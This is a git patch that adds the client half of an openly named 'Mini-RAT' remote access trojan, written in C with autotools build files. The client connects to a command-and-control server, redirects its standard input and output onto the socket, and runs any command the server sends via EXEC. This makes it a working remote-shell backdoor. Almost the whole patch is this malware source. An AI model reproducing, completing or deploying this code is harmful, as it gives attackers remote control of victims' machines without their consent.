From f78b26fdd889ee687061bb9adf7633954ad90d51 Mon Sep 17 00:00:00 2001 From: Danny Holman Date: Tue, 13 Jun 2023 23:56:17 -0500 Subject: client: add a reference client Add a reference client that will act as an example of what the client program should accomplish given a command from the C&C server. Signed-off-by: Danny Holman --- Makefile.am | 2 +- client/Makefile.am | 2 ++ client/configure.ac | 18 ++++++++++ client/include/util.h | 13 +++++++ client/src/mini-rat.c | 96 +++++++++++++++++++++++++++++++++++++++++++++++++++ client/src/util.c | 76 ++++++++++++++++++++++++++++++++++++++++ configure.ac | 1 + 7 files changed, 207 insertions(+), 1 deletion(-) create mode 100644 client/Makefile.am create mode 100644 client/configure.ac create mode 100644 client/include/util.h create mode 100644 client/src/mini-rat.c create mode 100644 client/src/util.c diff --git a/Makefile.am b/Makefile.am index 34db1c7..129c87d 100644 --- a/Makefile.am +++ b/Makefile.am @@ -1 +1 @@ -SUBDIRS = server +SUBDIRS = server client diff --git a/client/Makefile.am b/client/Makefile.am new file mode 100644 index 0000000..4f994ee --- /dev/null +++ b/client/Makefile.am @@ -0,0 +1,2 @@ +bin_PROGRAMS = mrat +mrat_SOURCES = src/mini-rat.c src/util.c diff --git a/client/configure.ac b/client/configure.ac new file mode 100644 index 0000000..e2946cc --- /dev/null +++ b/client/configure.ac @@ -0,0 +1,18 @@ +AC_INIT([mrat], [0.01]) +AC_PREREQ([2.71]) +AC_CONFIG_SRCDIR([src/mini-rat.c]) +AC_CONFIG_HEADERS([include/config.h]) + +AC_CONFIG_AUX_DIR([build-aux]) +AC_CONFIG_MACRO_DIR([../m4]) + +AM_INIT_AUTOMAKE([1.16 -Wall -Werror foreign subdir-objects]) +AC_CONFIG_FILES([Makefile]) + +AC_CHECK_HEADERS([stdio.h stdlib.h string.h arpa/inet.h sys/socket.h], [], AC_MSG_ERROR([missing required headers])) + +AX_CHECK_COMPILE_FLAG([-Wall], [CFLAGS+=" -Wall"]) +AX_CHECK_COMPILE_FLAG([-Wextra], [CFLAGS+= "-Wextra"]) + +AC_PROG_CC +AC_OUTPUT diff --git a/client/include/util.h b/client/include/util.h new file mode 100644 index 0000000..39c130b --- /dev/null +++ b/client/include/util.h @@ -0,0 +1,13 @@ +#ifndef MRAT_UTIL_H +#define MRAT_UTIL_H + +#include + +#define container_of(ptr, type, member) ({ \ + const typeof(((type*)0)->member)*__mptr = (ptr); \ + (type*)((char*)__mptr - offsetof(type, member)); }) + +char* str_strip(char *str); +char** str_split(char *str, const char *delim); + +#endif diff --git a/client/src/mini-rat.c b/client/src/mini-rat.c new file mode 100644 index 0000000..cd521d4 --- /dev/null +++ b/client/src/mini-rat.c @@ -0,0 +1,96 @@ +/* + * Mini-RAT reference client + * Copyright (C) 2023 Danny Holman + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +int open_connection(const char *addr, int port) { + int sock = socket(AF_INET, SOCK_STREAM, 0); + struct sockaddr_in server; + server.sin_family = AF_INET; + server.sin_port = htons(port); + inet_pton(AF_INET, addr, &server.sin_addr); + + if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1) + return -1; + return sock; +} + +void hostinfo(int socket) { + send(socket, "NOT IMPLEMENTED\r\n", 17, 0); +} + +void run_exec(int socket, const char **argv) { + pid_t pid = fork(); + if (pid == 0) { + execvp(argv[0], argv); + exit(0); + } else if (pid > 0) { + wait(NULL); + } else { + send(socket, "ERROR EXECUTING COMMAND", 23, 0); + } +} + +int handle_request(int socket, char *req) { + char **tokens = str_split(req, "\r\n"); + + if (strcmp(tokens[0], "HOSTINFO") == 0) { + hostinfo(socket); + } else if (strncmp(tokens[0], "EXEC", 4) == 0) { + char **argv = str_split(req, " "); + run_exec(socket, &argv[1]); + } else if (strncmp(tokens[0], "EXIT", 4) == 0) { + return 1; + } + return 0; +} + +int main(int argc, char* argv[]) { + int socket = 0; + int retries = 0; + while (retries < 3 && socket == 0) { + socket = open_connection("127.0.0.1", 1122); + if (socket == 0) + perror(argv[0]); + retries++; + } + + if (socket == 0) + return -1; + + dup2(socket, STDOUT_FILENO); + dup2(socket, STDERR_FILENO); + dup2(socket, STDIN_FILENO); + char buffer[4096]; + while (1) { + if (recv(socket, buffer, 4096, 0) <= 0) + break; + if (handle_request(socket, buffer) == 1) + break; + memset(buffer, 0, 4096); + } + return 0; +} diff --git a/client/src/util.c b/client/src/util.c new file mode 100644 index 0000000..f9053f5 --- /dev/null +++ b/client/src/util.c @@ -0,0 +1,76 @@ +#include +#include +#include + +char* str_rstrip(char *str) { + size_t len = strlen(str) - 1; + int brakes = 1; + while (brakes) { + switch (str[len]) { + case '\n': + str[len] = '\0'; + len--; + break; + case '\t': + str[len] = '\0'; + len--; + break; + case ' ': + str[len] = '\0'; + len--; + break; + default: + brakes = 0; + break; + } + } + return str; +} + +char* str_lstrip(char *str) { + int brakes = 1; + while (brakes) { + switch (str[0]) { + case '\n': + str[0] = '\0'; + str++; + break; + case '\t': + str[0] = '\0'; + str++; + break; + case ' ': + str[0] = '\0'; + str++; + break; + default: + brakes = 0; + break; + } + } + return str; +} + +char* str_strip(char *str) { + str_rstrip(str); + str_lstrip(str); + return str; +} + +char** str_split(char *str, const char *delim) { + size_t count = 0; + char **ret = NULL; + char *token; + char *saveptr; + token = strtok_r(str, delim, &saveptr); + while (token != NULL) { + count++; + ret = realloc(ret, sizeof(char*) * count); + ret[count-1] = strdup(str_strip(token)); + token = strtok_r(NULL, delim, &saveptr); + } + count++; + ret = realloc(ret, sizeof(char*) * count); + ret[count-1] = NULL; + return ret; +} diff --git a/configure.ac b/configure.ac index b88ec6e..ee7dd5e 100644 --- a/configure.ac +++ b/configure.ac @@ -7,5 +7,6 @@ AM_INIT_AUTOMAKE([1.16 -Wall -Werror foreign subdir-objects]) AC_CONFIG_FILES([Makefile]) AC_CONFIG_SUBDIRS([server]) +AC_CONFIG_SUBDIRS([client]) AC_OUTPUT -- cgit v1.2.3